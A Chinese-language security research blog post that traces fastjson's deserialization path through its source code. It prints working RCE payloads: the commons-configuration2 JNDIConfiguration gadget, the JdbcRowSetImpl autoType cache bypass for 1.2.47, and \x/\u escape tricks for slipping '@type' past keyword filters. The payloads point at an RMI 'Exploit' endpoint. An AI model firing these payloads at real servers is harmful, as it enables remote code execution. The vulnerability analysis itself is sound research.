fastjson 反序列化触发流程分析


Fastjson 反序列化触发流程分析

跟了几个三方组件组合利用的gadget chain,一直没有去跟fastjson底层实现,不免有很多疑问之处,这里记录一下分析一下fastjson触发流程。

fastjson 1.2.61 反序列化执行流程分析

接着上一篇文章fastjson 1.2.61 远程代码执行漏洞分析(commons-configuration gadget)的poc出发:

1
2
3
4
5
6
7
public class exp {
public static void main(String[] args){
String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}";
ParserConfig.global.setAutoTypeSupport(true);
JSONObject exp = (JSONObject) JSON.parseObject(poc);
}
}

下断点跟进POC中的JSON.parseObject函数:
-w1427

跟进parse(String text)函数,一顿套娃操作(java的重载特性:允许存在相同方法名,但不同参数个数及类型)
通过重载的特性,调用了三个parse函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 148
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
// 179
public static Object parse(String text, int features) {
return parse(text, ParserConfig.getGlobalInstance(), features);
}
// 164
public static Object parse(String text, ParserConfig config, int features) {
if (text == null) {
return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}

DefaultJSONParser函数中初始化了一些变量配置信息,确认起始标志位为{
-w1223
-w789

接着进入parser.parse函数,解析json流程:
-w1057

跟进DefaultJSONParser.java#parseObject,函数较长,截取部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
for (;;) {
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}

boolean isObjectKey = false;
Object key;
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
} else if (ch == '}') {
lexer.next();
lexer.resetStringPosition();
lexer.nextToken();

if (!setContextFlag) {
if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
context = this.context;
} else {
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
}
}

return object;
} else if (ch == '\'') {
if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("syntax error");
}

key = lexer.scanSymbol(symbolTable, '\'');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos());
}
} else if (ch == EOI) {
throw new JSONException("syntax error");
} else if (ch == ',') {
throw new JSONException("syntax error");
} else if ((ch >= '0' && ch <= '9') || ch == '-') {
lexer.resetStringPosition();
lexer.scanNumber();
try {
if (lexer.token() == JSONToken.LITERAL_INT) {
key = lexer.integerValue();
} else {
key = lexer.decimalValue(true);
}
if (lexer.isEnabled(Feature.NonStringKeyAsString)) {
key = key.toString();
}
} catch (NumberFormatException e) {
throw new JSONException("parse number key error" + lexer.info());
}
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("parse number key error" + lexer.info());
}
} else if (ch == '{' || ch == '[') {
lexer.nextToken();
key = parse();
isObjectKey = true;
} else {
if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
throw new JSONException("syntax error");
}

key = lexer.scanSymbolUnQuoted(symbolTable);
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
}
}

//...

总的来说就是一个大循环,里边嵌套了一堆if else,然后依据类型来判断,直到迭代器遍历完json数据为止,比如下面这个就是检测数字的判断:
-w994
再比如这里,匹配到双引号,则用lexer.scanSymbol函数去获取双引号中间的值,并设置键名:
-w1178

再来看这里,进行了特殊键@type匹配,并且!lexer.isEnabled(Feature.DisableSpecialKeyDetect)默认也是true
-w1331
-w900
跟进lexer.scanSymbol(symbolTable, '"')函数,看看它是如何获取类型名typeName的,JSONLexerBase.java#scanSymbol,同样的,也是一个迭代判断的过程,这里看一段比较有意思的是这一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
if (chLocal == '\\') {
if (!hasSpecial) {
hasSpecial = true;

if (sp >= sbuf.length) {
int newCapcity = sbuf.length * 2;
if (sp > newCapcity) {
newCapcity = sp;
}
char[] newsbuf = new char[newCapcity];
System.arraycopy(sbuf, 0, newsbuf, 0, sbuf.length);
sbuf = newsbuf;
}

// text.getChars(np + 1, np + 1 + sp, sbuf, 0);
// System.arraycopy(this.buf, np + 1, sbuf, 0, sp);
arrayCopy(np + 1, sbuf, 0, sp);
}

chLocal = next();

switch (chLocal) {
// 省略大量case
case '\\': // 92
hash = 31 * hash + (int) '\\';
putChar('\\');
break;
case 'x':
char x1 = ch = next();
char x2 = ch = next();

int x_val = digits[x1] * 16 + digits[x2];
char x_char = (char) x_val;
hash = 31 * hash + (int) x_char;
putChar(x_char);
break;
case 'u':
char c1 = chLocal = next();
char c2 = chLocal = next();
char c3 = chLocal = next();
char c4 = chLocal = next();
int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);
hash = 31 * hash + val;
putChar((char) val);
break;
default:
this.ch = chLocal;
throw new JSONException("unclosed.str.lit");
}
continue;
}

这段代码处理了以\x\u开头的16进制字符串,也就是说我们可以用这种方式去编码转换typeName,也就是@type的value组件名
-w1329
再验证一下这个结果,将org的o进行编码:
-w1455

再试试将@type@进行编码都是可行的
-w1316

因为在获取key值时,也是通过lexer.scanSymbol获取的(DefaultJSONParser.java#219行)
-w939

所以说,如果在开发代码中过滤了关键字@type或者组件名,可以用这个方法进行绕过

其后,在各种解码操作完成之后,在DefaultJSONParser.java#327行对其进行了AutoType校验:
-w1147

ParserConfig.java#checkAutoType
-w1322
经过长度、预期class、是否开启autotype等判断后,进行className的hash计算,先有一个白名单,接着判断是否在黑名单hash里。

为了防止安全研究者研究,fastjson 从1.2.42开始,将明文的黑名单换成了哈希过的黑名单,不过github上的大牛fuzz出了一份清单https://github.com/LeadroyaL/fastjson-blacklist

TypeUtils.loadClass第三个参数为true时,会缓存到Mapping:
-w1354
loadClass函数,第三参数为cachetrue时,则mappings.put(className, clazz);进行缓存。
TypeUtils.java#loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0 || className.length() > 128){
return null;
}

Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}

if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

而在TypeUtils.java的1105行 TypeUtils.getClassFromMapping函数,从mapping中取出类名。
-w737

继续跟进,在1127行有一段对未开启autoType的处理,又是一段黑白名单的处理:
-w1068

接着加载了org.apache.commons.configuration2.JNDIConfiguration模块:
-w1326
同时这里判断了其是否有jsonType,jsonType = visitor.hasJsonType();,是fastjson中定制序列化的特性,参考文档Fastjson 定制序列化Fastjson JSONField介绍

挖坑,这里用到了ASM读写字节码的类库,参考文章深入ASM源码之ClassReader、ClassVisitor、ClassWriter
后来还看到可以用注解有JsonType的class进行gadget chain构造,先挖坑,https://xz.aliyun.com/t/7107

继续往下跟,这里只要开了autoTypeSupport就会将我们的class缓存进mapping(cacheClasstrue即缓存)
-w1315

最后返回class。
-w988
通过autotype的检测,进行反序列化操作
-w1197

到这里基本从源码对fastjson解析json、@type特殊类型解析、autotype检测有了一个了解。

fastjson 1.2.48 JdbcRowSetImpl gadget 分析(缓存绕过autotype)

pom.xml添加下面这段代码

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>

poc:

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class test {
public static void main(String[] args){
String poc1 = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
String poc2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(poc1);
JSON.parse(poc2);
}
}

-w1266
或者使用数组或者在web服务连续发两个poc包即可:

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class test {
public static void main(String[] args){
String poc2 = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}]";
JSON.parseObject(poc2);
}
}

调试分析

下断点根进第一个poc:
-w1414

和上文1.2.61调试的过程类似DefaultJSONParser函数初始化配置,parser.parse解析,再到parseObject函数,这里直接来看config.checkAutoType在不开启autotype的情况:ParserConfig.java#checkAutoType
-w1224

最开始进行class名的哈希运算,然后是开启autotype下的黑白名单检测,然后还没到后边未开启autotype的if条件里,就直接return了。

回到DefaultJSONParser.java#parseObject函数
-w1269
跟进deserializer.deserialze函数,根据val字段来获取objVal
-w1235

-w675

继续往下,在335行进行了一个Class类的判断,然后调用typeUtils.loadClass函数:
-w1287

TypeUtils.java#loadClass(String className, ClassLoader classLoader)
-w1419
用重载的方式,并且设置默认为true的缓存操作,最后在TypeUtils.java#1242行将com.sun.rowset.JdbcRowSetImpl加到mapping缓存中:
-w1243

这就导致了解析第二个poc时,绕过了autotype校验,从缓存mapping中加载:
-w1464
-w1104
最终实例化该类,导致RCE。

最后

这篇文章通过fastjson1.2.61 commons-configuration gadget的POC动态调试入手,分析fastjson反序列化解析json流程,分析了一下源码的\u\x的16进制解码操作,以及缓存机制。

同时分析了一下在fastjson 1.2.48以下TypeUtils.loadClass缓存问题,即无需开autotype可以命令执行。

接下来的时间打算研究一下高版本jdk绕过远程类的加载问题。

参考文章: